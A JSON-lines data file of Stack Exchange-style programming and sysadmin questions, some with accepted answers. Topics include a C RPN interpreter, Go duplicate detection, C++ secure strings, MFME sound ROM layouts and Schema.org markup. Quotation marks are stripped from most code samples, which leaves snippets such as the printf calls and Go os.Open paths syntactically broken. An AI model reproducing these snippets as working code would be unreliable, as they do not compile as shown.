{  "id": "_scicomp.311"  , "question": "I am using the Weka workbench to train a protein fold classifier. I imported my training data into Weka and performed PCA-based feature selection. This seems to have worked fine, but now I cannot evaluate my trained classifier on the test data because the test data contains all the original attributes. Of course, if I try to run the feature selection on the test data, I will come up with a different set of features.In Weka, after you have applied feature selection to a training set, how do you pull those same features out of a test set?"  , "title": "Applying same feature selection to multiple data sets with Weka"  , "tags": "machine learning"  , "accepted_answer": "With any such modelling thing, you are going to have to recalculate the model using the new training set (ie. the original minus its test set).The usual approach is to randomly extract a subset for testing. Then train using all of the remaining data points.Of course there will be some random variability according to which are extracted, so you can repeat the process to get some statistical significance. Your final model will not be trained on all of your data. You either have to live with that (what I usually see in the Natural Language Processing field), or once you have determined your best parameters compute the final model using all of your data - with the understand you won't be able to test it."  } 
{  "id": "_codereview.168725"  , "question": "I wrote an RPN shell stack-based interpreter. It supports following operators: +, -, *, /, %, ^. Right now it only works with positive numbers. It features also printing out the top stack element by entering new line character and popping out the result with = operator. I decided to also add one variable available to the user, it is the x variable, which can be used in two states. X (capital X) is used for reading the value of the variable and x (lowercase x) is used for writing the value to the variable.#include <stdio.h>#include <stdlib.h>#include <ctype.h>#include <math.h>#define CRESET   \\033[0m#define CYELLOW  \\033[33m#define CRED     \\033[31m#define MAXOP 100#define NUMBER '0'#define MAXSTACK 100#define BUFSIZE 100int getop(char []);void push(double);double top(void);double pop(void);int getch(void);void ungetch(int);int sp = 0;double stack[MAXSTACK];char buf[BUFSIZE];int bufp = 0;double x = 0;main () {    int type;    double _op;    char s[MAXOP];    while ((type = getop(s)) != EOF) {        switch (type) {            case NUMBER:                push(atof(s));                break;            case '+':                push(pop() + pop());                break;            case '*':                push(pop() * pop());                break;            case '-':                _op = pop();                push(pop() - _op);                break;            case '^':                _op = pop();                push(pow(pop(), _op));                break;            case '/':                _op = pop();                if (_op != 0.0)                    push(pop() / _op);                else                    printf(CRED ERROR: Cannot divide by 0\\n CRESET);                break;            case '%':                _op = pop();                if (_op != 0.0)                    push(fmod(pop(), _op));                else                    printf(CRED ERROR: Cannot divide by 0\\n CRESET);                break;            case 'x':                x = pop();                break;            case 'X':                push(x);                break;            case '\\n':                printf(CYELLOW Top: %.8g\\n CRESET, top());                break;            case '=':                printf(CYELLOW Result: %.8g\\n CRESET, pop());                break;            default:                printf(CRED ERROR: Unknown command %s\\n CRESET, s);                break;        }    }}void push(double f) {    if (sp < MAXSTACK)        stack[sp++] = f;    else        printf(CRED ERROR: Stack is full, cannot push %g\\n CRESET, f);}double top(void) {    if (sp > 0)        return stack[sp - 1];    else {        return 0.0;    }}double pop(void) {    if (sp > 0)        return stack[--sp];    else {        printf(CRED ERROR: Stack is empty\\n CRESET);        return 0.0;    }}int getop(char s[]) {    int i, c;    while ((s[0] = c = getch()) == ' ' || c == '\\t')        ;    s[1] = '\\0';    if (!isdigit(c) && c != '.')        return c;    i = 0;    if (isdigit(c))        while (isdigit(s[++i] = c = getch()))            ;    if (c == '.')        while (isdigit(s[++i] = c = getch()))            ;    s[i] = '\\0';    if (c != EOF)        ungetch(c);    return NUMBER;}int getch(void) {    return (bufp > 0) ? buf[--bufp] : getchar();}void ungetch(int c) {    if (bufp >= BUFSIZE)        printf(CRED UNGETCH: Too many characters\\n CRESET);  else        buf[bufp++] = c;}SamplesInput:> 2 2 + =Output:Result: 4Top: 0Input:> 3 x> X 5 +Output:Top: 8Input (x = 3):> X 3 ^ 2 +Output:Top: 29Could you review my code? Are there any issues I missed regarding the user input?"  , "title": "Reverse Polish Notation shell interpreter with one variable in C"  , "tags": "c;interpreter"  , "accepted_answer": "Here are some ideas for improving your program.Use the correct prototype for mainMany compilers will default to an int return type when the function return type is undeclared, but it's not a good idea to omit it, especially with main.  Instead of this:main () {write this:int main() {Eliminate global variables where practicalThe code declares and uses 5 global variables.  Global variables obfuscate the actual dependencies within code and make maintainance and understanding of the code that much more difficult.  It also makes the code harder to reuse.  For all of these reasons, it's generally far preferable to eliminate global variables and to instead pass pointers to them.  That way the linkage is explicit and may be altered more easily if needed.  In this case, I'd suggest gathering everything together into a structure within main's scope and then passing that structure to each of the functions.  For example, it might be defined like this:typedef struct stack_s {    int sp;    int bufp;    double x;    double stack[MAXSTACK];    char buf[BUFSIZE];} StackMachine;And then within main it could be defined like this:StackMachine sm = { .sp = 0, .bufp = 0 };Then push could be reimplemented like this:void push(StackMachine *sm, double f) {    if (sm->sp < MAXSTACK)        sm->stack[sm->sp++] = f;    else        printf(CRED ERROR: Stack is full, cannot push %g\\n CRESET, f);}Be consistent with the user interfaceWhen the user uses an empty line to see the top of the stack, it reports 0 instead of STACK EMPTY when the stack is empty.  This is inconsistent with the other operations."  } 
{  "id": "_codereview.145590"  , "question": "I'm implementing my very first Go application and I would like to receive an hint on how to make a certain check faster.I have a huge txt file in which each line is structured like the following:key textkey text   .   .key textWhere key is ALWAYS 6 HEX digits long and text is ALWAYS 16 HEX digits long.I need to find and print all the lines which have the same text value.  For instance, suppose we have 2 lines like the following000000 1234567890123456111111 1234567890123456They should be both printed.Here's my code:r, _ := os.Open(store.txt)    scanner := bufio.NewScanner(r)    for scanner.Scan() {        line := scanner.Text()        text := line[7:]        if !contains(duplicates, text) {            duplicates = append(duplicates, text)        } else {                t, _:= os.Open(store.txt)                dupScan := bufio.NewScanner(t)                    //currLine := dupScan.Text()                for dupScan.Scan() {                    currLine   := dupScan.Text()                    currCipher := currLine[7:23]                    if( currCipher == text ){                    fmt.Println(currLine)                    }                }                t.Close()            }    }fmt.Println(Done Check)//Close Filer.Close()func contains(s []string, e string) bool {    for _, a := range s {        if a == e {            return true        }    }    return false}It works just fine but, since I have million lines, it's really slow. I'm only capable of doing it with a single thread and not using goroutines.Have you any suggestion on how I should change this code to speed up the check?"  , "title": "Print all lines of a text file containing the same duplicated word"  , "tags": "performance;beginner;file;go"  , "accepted_answer": "You have a bugI don't think your program works as intended. If a line exists \\$N > 1\\$ times, it will be printed \\$N (N - 1)\\$ times. Because:The first time it's seen, it will be added to duplicates and not printed. So far so good.The 2nd, 3rd, ... Nth time it's seen, all \\$N\\$ occurrences will be printed.When \\$N = 2\\$, the program will appear to work fine.But when \\$N > 2\\$ there will be excess output of duplicates, which is probably not the way you intended.PerformanceThere are several inefficient operations.The worst is re-reading the file for every duplicate. If the million lines contain pairs of 500000 values, the file will be read 500001 times.Another inefficient operation is storing the unique values in a slice, instead of a map. The contains implementation based on a slice has  \\$O(n)\\$ time complexity, which would be \\$O(1)\\$ using a map.To improve performance you could use a map of counts. Read the entire file once to build this map. Unique values will have a count of 1, duplicates will have > 1. Read the file again, checking the count in the map, if it's > 1 then print the line.Resource management and error handlingIn Go, it's recommended to use defer to close resources soon after you opened them, so you don't forget later. So instead of this:fh, err := os.Open(path)// large block of codefh.Close()It's recommended to write like this:fh, err := os.Open(path)if err != nil {    panic(could not open file:  + path)}defer fh.Close()// rest of the codeClosely related is error handling. You ignored the error value returned by os.Open, which is not wise. The rest of the program will make little sense if opening the file fails. Always remember and consider to handle errors.Coding styleIt's good to run go fmt on your program before asking for a review.It automatically reformats it following the standard of Go.Suggested implementationPutting the above tips together:func main() {    path := /tmp/store.txt    counts := readCounts(path)    check(path, counts)}func check(path string, counts map[string]int) {    fh, _ := os.Open(path)    defer fh.Close()    scanner := bufio.NewScanner(fh)    for scanner.Scan() {        line := scanner.Text()        text := line[7:]        if counts[text] > 1 {            fmt.Println(line)        }    }}func readCounts(path string) map[string]int {    fh, err := os.Open(path)    if err != nil {        panic(could not open file:  + path)    }    defer fh.Close()    scanner := bufio.NewScanner(fh)    counts := make(map[string]int)    for scanner.Scan() {        line := scanner.Text()        text := line[7:]        counts[text] += 1    }    return counts}"  } 
{  "id": "_unix.81258"  , "question": "I'm trying to figure out whether AUCTeX is actually calling dvipng when it renders LaTeX previews. While this may not the best way to find this out, one possibility is to check whether the executable dvipng is being called at all - nothing else on the system would be using it. The compilation output does not mention dvipng, and top does not show it being run.For non-emacs users, AUCTeX is an emacs package that runs inside emacs and can call external executables, i.e. dvipng.So, my question is: for an arbitrary executable, is there some way to check whether and if so when, it has been run in the recent past? More information, like what arguments it has been called with, would also be useful.I tried seeing whether the emacs process called dvipngby using strace (I don't know if I did this correctly) by doing$ strace emacs corrmodel.tex 2>&1 | grep dvipngand then running a compilation, but I just got the outputread(15, falias 'preview-start-dvipng #[n..., 4096) = 4096Is this a correct procedure? Is there a better way?"  , "title": "Is there some way to find out if/when an executable was called?"  , "tags": "executable;audit"  } 
{  "id": "_unix.41470"  , "question": "I want to automatically update a Debian system (actually Debian Wheezy on Raspberry Pi, though that shouldn't make much a difference). I've already seen that there is cron-apt, probably a good choice, as it also includes mail notifications on errors. I am however not sure about updates involving reboots like e.g. new kernel updates? Does cron-apt automatically reboot a system after a new kernel image was installed? Or can it at least notify me on update of specific packages?"  , "title": "Automatically update a Debian system"  , "tags": "debian;kernel;upgrade"  } 
{  "id": "_webmaster.1782"  , "question": "I'm looking for an Open Source website backup tool.  I'm more interested in Open Source so I can make changes if need be and possibly contribute to the software. Automatic scheduled FTP backups from mutiple web servers.MySQL backups from databases (only partially important as I can just do mySQL dumps and get those with ftp)   Differential and/or Incremental backups (improtant for bandwidth and disk space.)Windows 7 or Linux support.I'm not really sure if this is a better question for Server Fault but I feel it can live here easy enough.  Thank you for any suggestions.Software I've found - Cobian BackupNote this for backing up data on web servers,  usually shared hosting.  Installing software on the remote server is impossible, so ftp and mysql access is about it."  , "title": "Open Source website backup tool suggestions"  , "tags": "php;mysql;backups;site maintenance"  } 
{  "id": "_unix.384541"  , "question": "I just recently upgraded to Ubuntu 16.04 LTS (running Gnome Flashback-Metacity, if that matters) and whenever I run mutt in Terminal, there is a black box that appears after the exit output mutt provides:This does not happen with another interactive command such as vi nor a command that returns output such as grep.I've tried a variety of settings changes on the default profile with no effect, unless I change to having white text on black background.  Here are the current colors settings:Anyone have hints as to where I should be looking to fix this?  Thanks!"  , "title": "Terminal window writes black block in output after mutt return"  , "tags": "ubuntu;terminal;gnome terminal;mutt"  } 
{  "id": "_cs.6668"  , "question": "I'd like to know if there is a function $f$ from n-bit numbers to n-bit numbers that has the following characteristics:$f$ should be bijectiveBoth $f$ and $f^{-1}$ should be calculable pretty fast$f$ should return a number that has no significant correlation to its input.The rationale is this:I want to write a  program that operates on data. Some information of the data is stored in a binary search tree where the search key is a symbol of an alphabet. With time, I add further symbols to the alphabet. New symbols simply get the next free number available. Hence, the tree will always have a small bias to smaller keys which causes more rebalancing than I think should be needed.My idea is to mangle the symbol numbers with $f$ such that they are widely spread over the whole range of $[0,2^{64}-1]$. Since the symbol numbers only matter during input and output which happens only once, applying such a function should not be too expensive.I thought about one iteration of the Xorshift random number generator, but I don't really know a way to undo it, although it should theoretically be possible.Does anybody know such a function?Is this a good idea?"  , "title": "Function that spreads input"  , "tags": "binary trees;hash;binary arithmetic"  } 
{  "id": "_webmaster.77559"  , "question": "I'm under the impression that PHP-based proxies download the content of a site to their server before sending it back to the browser just like browsing any standard website site. Am I correct in saying this?Note that URL filtering is not the issue here."  , "title": "If a corporate network disables peer-to-peer networking, will that affect web-based proxy services?"  , "tags": "proxy;filtering"  , "accepted_answer": "You are correct- The web proxy will act as a middle man in between you and the content being requested through the proxy. P2P disabled will in no way affect the results of using a web based proxy, as long as you are able to successfully connect to the web proxy server.Though there are still some things to consider depending on the quality of web proxy you are using. The majority of web based proxies will have issues with complex javascript, flash objects, java, and other types on load event processing. Some web proxies will not properly proxy all content due to various reasons (usually due to the proxy parser being unable to understand certain element of a website being viewed through the service) which means any content that does get properly sent through the proxy will still be loaded directly from your browser which would still be susceptible to any sort of blocks or filters. "  } 
{  "id": "_unix.149017"  , "question": "I tried tailing two files using the option:tail -0f file1.log -0f file2.logIn Linux I see an error tail : can process only one file at a time.In AIX I see the error as Invalid options.This works fine when I use:tail -f file1 -f file 2in Linux but not in AIX.I want to be able to tail multiple files using -0f or -f in AIX/Linuxmultitail is not recognized in either of these OS."  , "title": "How to tail multiple files using tail -0f in Linux/AIX"  , "tags": "tail"  } 
{  "id": "_reverseengineering.13204"  , "question": "I am new to malware analysis .. and I was analyzing some 'windows' apps and found functions that I thought it exist only on malware, is this possible or there is something wrong with my analysis ? I am using Cuckoo sandbox .. the functions are: SetWindowsHookExA, IsDebuggerPresent .. and others as well One of the app examples is AcroRd32.exe: It calls IsDebuggerPresent .. and this is its page on virustotal including all the information related to the sample in addition to the MD5.https://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/"  , "title": "Can benign applications have such APIs?"  , "tags": "malware;winapi;virus"  , "accepted_answer": "IsDebuggerPresent is found in most executables compiled with Visual C++ in the setup code that is executed before the main function. There are also legitimate use cases for SetWindowsHookExA, so you will often see them in clean executables."  } 
{  "id": "_unix.208528"  , "question": "I see other people doing this, occasionally. They'll add something like the following to the start of their terminal, sort of a welcome screen:  ____  _____    _  _  _____  __  __    _    _    __    _  _  ____    ____  _____    ____  __      __   _  _      __       ___    __    __  __  ____  ___(  _ \\(  _  )  ( \\/ )(  _  )(  )(  )  ( \\/\\/ )  /__\\  ( \\( )(_  _)  (_  _)(  _  )  (  _ \\(  )    /__\\ ( \\/ )    /__\\     / __)  /__\\  (  \\/  )( ___)(__ ) )(_) ))(_)(    \\  /  )(_)(  )(__)(    )    (  /(__)\\  )  (   )(      )(   )(_)(    )___/ )(__  /(__)\\ \\  /    /(__)\\   ( (_-. /(__)\\  )    (  )__)  (_/(____/(_____)   (__) (_____)(______)  (__/\\__)(__)(__)(_)\\_) (__)    (__) (_____)  (__)  (____)(__)(__)(__)   (__)(__)   \\___/(__)(__)(_/\\/\\_)(____) (_)It happens when the shell starts, and I would like to have it happen for me when the shell starts, too. I am pretty proficient with vim for text editing, so I think I could figure out a way to do it. If vim fails, I can use something like the following, but how do I make it come up not garbled when I start my new shell? Please note that this question is not just about ASCII art, but is also about how to successfully add it to my bash, and about possible escapes required for the bash shell to get it to work properly.Creating diagrams in ASCII"  , "title": "How do I add ASCII art to my Bash?"  , "tags": "shell script;ascii art"  } 
{  "id": "_reverseengineering.15964"  , "question": "I have two files that have the extension .P1 and .P2These files are ROM sound files from a particular 'real world' fruit machine (also known as a slot machine).There is some Fruit Machine emulation software (MFME) that reads both the sound ROM files and the game ROM files in order recreate the fruit machine within a PC.I'm playing around creating my own fruit machine with the editor side of MFME, based on an existing fruit machine, and want to edit the sounds on this machine.Unfortunately MFME doesn't have the functionality to edit sound files, only to read them.The sound ROMs are apparently comprise of all the sounds packed one after another with a table at the start pointing to where each sound file is (lots of short beeps, buzzes, pings etc as you would expect from a fruit machine).Does anyone know what software I would need to edit these files in order to insert my own sounds? I originally thought I would need a disassembler but when I downloaded one it wouldn't open them as they weren't either .exe or .dll files (I tried changing the extension of the file but the disassembler still knew they weren't the correct type of file).How can I go about reverse engineering these files in order to edit them? Any ideas?Thanks. :-)"  , "title": "How to edit a type of sound file used with a fruit machine emulator?"  , "tags": "disassembly"  , "accepted_answer": "The MFME source code is available to read.You'll probably want to start with interface.cpp, which has most of the logic for deciding which sound format to load in TForm1::Load(String). There are at least ten or so different formats from the look of it.You can then take a look at sample.cpp which has the implementation for loading files. LoadJPMSound is of particular interest, but there are other formats to consider.Here are the key facts for JPM sounds:File starts with a 1-byte sample count prefix (so I guess 255 samples max?) Next comes a 4-byte magic number (0x5569A55A)After that there's some sort of page table which describes the addresses of the sound data within the ROM.Each audio page has a 1-byte flag value at the start. The two MSBs specify the kind of sound.00 means silence, where the remainder of the byte (i.e. flag & 0x3F) specifies how long the silence should be in increments of 20 samples. A zero value here means an empty audio sample.01 means there are 256 nibbles of audio. I'm not sure if this means 4-bit values but I haven't seen any bit manipulation in the decoding. The sample rate is set to 160000 divided by the remainder of the flag value plus one.10 means the same as above, except the number of nibbles is stored as a byte following the flag.11 means that the sample is a repeating loop. The number of repeats is computed as (flag & 0x7) + 1.For YMZ samples, the file contains 250 sample entries, each consisting of:16-bit masked sample count, compute as count = (((value & 0xFF00) >> 8) / 6) * 1000High byte of buffer pointer.High byte of sample pointer.Mid byte of buffer pointer.Mid byte of sample pointer.Low byte of buffer pointer.Low byte of sample pointer.Sample data in the following format:4-bit YMZ280B format sample data (channel A)4-bit YMZ280B format sample data (channel B)The YMZ280B format is step-based format where each next signal value in the wave is encoded as the difference from the previous signal value (or 0 for the first sample). The 4-bit value is an index to a lookup table containing the possible steps: The step LUT is calculated as follows:// nib from 0000 to 1111for (nib = 0; nib < 16; nib++) {    int value = (nib & 0x07) * 2 + 1;    diff_lookup[nib] = (nib & 0x08) ? -value : value;}That should hopefully get you started. The source code should get you the rest."  } 
{  "id": "_softwareengineering.125399"  , "question": "Could Designing by Contract (DbC) be a way to program defensively? Is one way of programming better in some cases than the other?"  , "title": "Differences between Design by Contract and Defensive Programming"  , "tags": "design patterns;contract;defensive programming"  , "accepted_answer": "Design by Contract and defensive programming are in some sense opposites of each other: in DbC, you define contracts between collaborators and you program under the assumption that the collaborators honor their contracts. In defensive programming, you program under the assumption that your collaborators violate their contracts.A real square root routine written in DbC style would state in its contract that you aren't allowed to pass in a negative number and then simply assume that it can never encounter a negative number. A real square root routine written defensively would assume that it is passed a negative number and take appropriate precautions.Note: it is of course possible that in DbC someone else will check the contract. In Eiffel, for example, the contract system would check for a negative number at runtime and throw an appropriate exception. In Spec#, the theorem prover would check for negative numbers at compile time and fail the build, if it can't prove that the routine will never get passed a negative number. The difference is that the programmer doesn't make this check."  } 
{  "id": "_cstheory.837"  , "question": "I wanted to compute the complexity of a smoothed $\\ell_0$ algorithm in BigO notation. The algorithm can be found here. Can anybody help me in this regard?"  , "title": "Complexity of Smoothed $\\ell_0$ algorithm"  , "tags": "compressed sensing"  } 
{  "id": "_webmaster.99706"  , "question": "Please advise is it good from SEO perspective if my website content is in side sticker like in attached Screen Shot. If I will click any where outside this content get hide, also I need to use slider to read the whole content. "  , "title": "Is it good from SEO perspective to use Content in Side Stickers?"  , "tags": "seo;content"  } 
{  "id": "_unix.359074"  , "question": "I have another question.I have three different directories but I have the same files inside, with the same name. For example:Directory1:dir1/file1.txtdir1/file2.txtdir1/file3.txtDirectory2:dir2/file1.txtdir2/file2.txtdir2/file3.txtDirectory3:dir3/file1.txtdir3/file2.txtdir3/file3.txtI would like to paste the files with the same name. Like it:dir1/file1.txt + dir2/file1.txt + dir3/file1.txt = file1.txtdir1/file2.txt + dir2/file2.txt + dir3/file2.txt = file2.txtdir1/file3.txt + dir2/file3.txt + dir3/file3.txt = file3.txtHow can I do it?"  , "title": "How can I paste files with the same name from different directories?"  , "tags": "files;paste"  } 
{  "id": "_softwareengineering.47331"  , "question": "How often QA engineers are responsible for developing Mock Objects for Unit Testing. So dealing with Mock Objects is just developer job ?. The reason i ask is i'm interested in QA as my career and am learning tools like JUnit , TestNG and couple of frameworks. I just want to know until what level of unit testing is done by developer and from what point QA engineer takes over testing for better test coverage ?ThanksEdit : Based on the answers below am providing more details about what QA i was referring to . I'm interested in more of Test Automation rather than simple QA involved in record and play of script. So Test Automation engineers are responsible for developing frameworks ? or do they have a team of developers dedicated in Framework development ?Yes i was asking about usage of Mock Objects for testing from Test Automation engineer perspective. "  , "title": "Mock Objects for Testing - Test Automation Engineer Perspective"  , "tags": "testing;qa"  , "accepted_answer": "Hey.First question: do you want to use xUnit frameworks, mock frameworks, and write code? If not, don't bother. 90% of jobs for testers doesn't include writing code, so if it is not something you are looking for, you can skip this set of knowledge.  On the other hand if you like writing code, somehow you don't think about being developer, there is possibility to work on test automation which will require coding skills. Particular programming language will depend on the toll/application stack but you will be required to write code. As for xUnit frameworks, probably you won't write unit test (as mentioned dev job), but it is possible you will be using them as runner for your tests. For example Selenium that was mentioned here doesn't require coding skills if you use SeleniumIDE which is only one of products. If you use SeleniumCore - than you are using api that wraps around browser. In this case you write code that will perform tests on given application. And if you put this code into xUnit framework you will have runner, reports with it. As for mock objects you will be using them in very rare situations. Maybe when you will be building automation framework for your app. But depending on the approach you can skip it. EDITAs per new answers and edit of the main question.I agree with c_maker - you probably won't be writing unit tests for application code, but it is possible to write unit tests for your automation framework software is software iven if it is software testing other software. Here again as c_maker said, if you wrote gui level tests with selenium using Selenium - those are acceptance tests not unit tests.Anyway check following links so you will now how work of test automation engineer may         look: - Quick overview - Bigger explanation - Inspiration for all above and few pdf describing it "  } 
{  "id": "_unix.330107"  , "question": "I expectedecho |to do the following:Print the empty string to stdout.Pipe stdout to stdin.What I would have expected from writing the empty string to stdin is: nothing.What happened instead: A prompt > appears which behaves like a bash in the bash:> echo mmWhy is that?"  , "title": "Basic bash behavior"  , "tags": "bash"  , "accepted_answer": "What are you trying to pipe into?  The | must be followed by another command, and bash shows > prompting you to complete the pipeline.To do both of:Print the empty string to stdout.Pipe stdout to stdin.echo -n '' | catHere cat is just a placeholder for your second command, which in this case just sends its stdin to its stdout."  } 
{  "id": "_cstheory.16649"  , "question": "Steiner Tree Problem:Given a weighted graph G(V,E,w) where w is the weight function on edges and a subset of vertices SQ called terminals, a Steiner Tree is a connected subgraph which connects all vertices in S. Finding minimum weight Steiner Tree is called Steiner Tree Problem.Node-weighted Steiner Tree ProblemGiven a weighted graph G(V,E,w) where w is the weight function on nodes and a subset of vertices SQ called terminals, a Node-Weighted Steiner Tree is a connected subgraph which connects all vertices in S. Finding minimum weight Steiner Tree is called Node-Weighed Steiner Tree Problem.My question is: can any Steiner Tree Problem be converted to Node-weighted Steiner Tree Problem? I have the following approach and need to verify whether it is correct:Lets assume we have a Steiner Tree problem with weighted edges. Consider an edge (u, v) with weight w assigned to it. Lets place a vertex X on this edge, so that the edge splits in two edges: (u, X) and (X, v). Assign zero weight to each of those edges, and assign weight w to vertex X. Repeat this for every edge of the initial graph.The obtained graph will be node weighted and any solution to the node-weighted problem can be easily converted to match initial Steiner Tree Problem.Basically, I need someone to verify all above is valid. I would also greatly appreciate any references from reliable sources, regarding this issue."  , "title": "Can any Steiner Tree Problem be converted to Node-Weighted Steiner Tree Problem?"  , "tags": "graph theory"  , "accepted_answer": "Sounds right. Denote by $G$ the original graph, and by $G'$ the graph after introducing the new vertices.The first direction is trivial - every Steiner tree in $G$ corresponds to a Steiner tree in $G'$, with the same weight (by splitting each edge with its new vertex).The second direction is less trivial. Still, consider a minimal Steiner tree $T$ in $G'$. We can assume w.l.o.g that $T$ does not contain any leaf that corresponds to a new edge-vertex. Indeed, this vertex is not in $S$, so if it is a leaf, it can be removed from the tree, keeping it a Steiner tree with minimal weight (unless you allow negative weights, which I assume you don't).Now that we have a Steiner tree without edge-vertex leafs, we can convert it to a Steiner tree in $G$: root the tree by some vertex that is not an edge-vertex, then by the construction, all the edge-vertices have a single child in this tree. So you can replace each pair of edges $(u,X),(X,v)$ by $(u,v)$ in the original graph, obtaining a Steiner tree with the same weight.I don't see any bugs here, but maybe I missed something."  } 
{  "id": "_codereview.107991"  , "question": "Inspired by reading How-to write a password-safe class?, I tried some clever (or dumb-fool) hack to create a widely-useable secure string using the std::basic_string-template, which does not need to be explicitly securely erased itself.At least gcc and clang seem not to choke on it (coliru):#include <string>namespace my_secure {void SecureZeroMemory(void* p, std::size_t n) {    for(volatile char* x = static_cast<char*>(p); n; --n)        *x++ = 0;}// Minimal allocator zeroing on deallocationtemplate <typename T> struct secure_allocator {    using value_type = T;    secure_allocator() = default;    template <class U> secure_allocator(const secure_allocator<U>&) {}    T* allocate(std::size_t n) { return new T[n]; }    void deallocate(T* p, std::size_t n) {        SecureZeroMemory(p, n * sizeof *p);        delete [] p;    }};template <typename T, typename U>inline bool operator== (const secure_allocator<T>&, const secure_allocator<U>&) {    return true;}template <typename T, typename U>inline bool operator!= (const secure_allocator<T>&, const secure_allocator<U>&) {  return false;}using secure_string = std::basic_string<char, std::char_traits<char>,    secure_allocator<char>>;}namespace std {// Zero the strings own memory on destructiontemplate<> my_secure::secure_string::~basic_string() {    using X =std::basic_string<char, std::char_traits<char>,        my_secure::secure_allocator<float>>;    ((X*)this)->~X();    my_secure::SecureZeroMemory(this, sizeof *this);}}And a short program using it to do nothing much://#include my_secure.husing my_secure::secure_string;#include <iostream>int main() {    secure_string s = Hello World!;    std::cout << s << '\\n';}Some specific concerns:How badly did I break the standard?Does the fact that one of the template-arguments is my own type heal the fact that I added my own explicit specialization to ::std?Are the two types actually guaranteed to be similar enough that my bait-and-switch in the destructor is ok?Is there any actual implementation where the liberties I took with the standard will come back to haunt me?Did I miss any place where I should zero memory after use? Or is there any chance that anything will slip by?"  , "title": "Hacking a SecureString based on std::basic_string for C++"  , "tags": "c++;strings;c++11;security;securestring"  , "accepted_answer": "The only thing special about SecureZeroMemory (the Windows version) is that it uses volatile to prevent optimization. Therefore there's no reason to write your own. Just defer to standard algorithms:std::fill_n((volatile char*)p, n*sizeof(T), 0);You will probably want to call the global delete:::operator delete [] p;Add noexcept:template <class U> secure_allocator(const secure_allocator<U>&) noexcept {}"  } 
{  "id": "_webmaster.81359"  , "question": "I have a site that has many articles on a specific dog breed. I want to help Google and other search engines to understand this article is specifcally on this breed or a topic realted to this breed. I thought about using productontology.org to define an additional type.For example I have the following Schema.org markup: <article itemscope itemtype=http://schema.org/Article>   <link itemprop=additionalType href=http://www.productontology.org/id/dog_breed />   <!-- Additional Code + Schema.org markup --></article>Is this the correct way to indicate with Schema.org markup that this article is on (or related to) this specific breed? If not, what is the proper way using Schema.org?Note: I understand fully that the best way is with great content that uses keywords. However, I am looking to know how to do this from a schema.org perspective."  , "title": "Schema.org markup for an Article with additionalType?"  , "tags": "microdata;schema.org;productontology.org"  , "accepted_answer": "No, your example would mean that its an schema:Article and a pto:Dog_breed.To state what the schema:Article is about, you could use its about property. The elaborate version would be:<article itemscope itemtype=http://schema.org/Article>  <div itemprop=about itemscope itemtype=http://schema.org/Intangible>    <link itemprop=additionalType href=http://www.productontology.org/id/Dog_breed />    <!-- properties about dog breed(s) -->  </div>  <!-- properties about the article --></article>Notes:Schema.org has no class for dog breeds, so youd have to choose the closest broader class. I think it would be schema:Intangible; otherwise the top class schema:Thing.Using pto:Dog_breed means that the article is about the concept of dog breeds, or dog breeds in general, but not about a specific dog breed.It should be /id/Dog_breed, not /id/dog_breed (URIs are case-sensitive)."  } 
{  "id": "_webmaster.78014"  , "question": "In a mediawiki page, I would like to have a checkbox that applies to all pages so that templates on the page can use the value of the checkboxwhen the checkbox is changed, the page refreshes.The checkbox could be used, say to relegate details in the text into footnotes.  E.g. an editor could writeTrains from Bristol Parkway {{Details|opened in 1971}} go to London.The user would seeTrains from Bristol Parkway^1 go to London or Trains from Bristol Parkway (opened in 1971) go to London depending on their preference.The template Details would be something like{{#ifeq:UserPreference|IncludeDetailsInText|({{{1|}}})|<ref>{{{1|}}}</ref>}}How do you fetch the UserPreference?Should I use a Widget?"  , "title": "How to use a user preference in a Mediawiki template"  , "tags": "mediawiki;forms"  } 
{  "id": "_webmaster.67700"  , "question": "How do I prevent the following website and similar tools finding subdomains of domains in my server?https://pentest-tools.com/reconnaissance/find-subdomains-of-domain"  , "title": "How do I prevent subdomain finders finding subdomains on my server?"  , "tags": "subdomain"  } 
{  "id": "_softwareengineering.316431"  , "question": "In my experience, technical design is made more challenging when it is divorced  from implementation, particularly by assigning the roles to different people, because its easy for the designer to overlook a myriad of implementation details/gotchas. In theory, I like the idea though. So my question is, should we be striving for this separation?"  , "title": "Is separating design from implementation a net win?"  , "tags": "design;development process"  } 
{  "id": "_cseducators.211"  , "question": "One of the most challenging concepts to instill in new CS students is 0-indexing (indeed, the pedagogy of this fact probably merits its own discussion). Another difficult topic -- although a slightly more advanced one -- is pointers. (I'm thinking particularly of programming in C.) With this question I'm wondering if part of the difficulty is the syntactic sugar in C that allows the following to be equivalent:// declare array of 5 ints on the stackint num[5];// use array notation to change first elementnum[0] = 42;// use pointer arithmetic to change first element*(num + 0) = 42;With array notation, we are explicit with 0-indexing, but the logic of it isn't apparent. Yet, with pointer arithmetic, it's more clear (I think...) why we use 0: the pointer stores the base address, so dereferencing the pointer brings us to that address which is where the array logically begins.Comfort with this leads to the topic of memory management on the heap with something like this:// declare array of 5 ints on the heapint *num = malloc(sizeof(int) * 5);// use pointer arithmetic to change first element*num = 42;I am toying with expanding my introduction on arrays next year to include this particular use of pointers. I recognize that it would involve taking maybe a single lesson on arrays and expanding to something closer to a week long to tie together all these ideas.However, is it worth putting aside the syntactic sugar in order to understand more accurately the indexing of arrays? On the other hand, does the introduction of pointers and memory complicate the process so much so that confusion about arrays will increase rather than decrease? (I'm thinking of this is a lesson idea feedback discussion.)"  , "title": "Lesson Idea: Arrays, Pointers, and Syntactic Sugar"  , "tags": "lesson ideas;arrays;c;syntax;abstraction"  } 
{  "id": "_codereview.15165"  , "question": "I have the following Ruby code snippet:  url = http://somewiki.com/index.php?book=#{author}:#{title}&action=edit  encoded = URI.encode(url)  encoded.gsub(/&/, %26).sub(/%26action/, &action)The last line is needed since I have to encode the ampersands (&) in the author and title but I need to leave the last one (&action...) intact.Consider this example for clarity:author = John & Dianetitle = Our Life & Workurl = http://somewiki.com/index.php?book=#{author}:#{title}&action=editencoded = URI.encode(url)encoded.gsub(/&/, %26).sub(/%26action/, &action)# => http://somewiki.com/index.php?book=John%20%26%20Diane:Our%20Life%20%26%20Work&action=edit Although this result is satisfactory, I'd like to clean the original code with the gsub/sub calls. Any ideas?PS: I could clean both params before passing them to the url = ... line but then the % characters will be re-encoded as %25 by the URI.encode call so I don't think that's an option. I'd love to be proved wrong here though."  , "title": "Encoding special characters in URLs with Ruby"  , "tags": "ruby"  , "accepted_answer": "Unless you need the unencoded url (for logging?), I would just:encoded_url = http://somewiki.com/index.php?book=#{CGI.escape(author)}:#{CGI.escape(title)}&action=edit"  } 
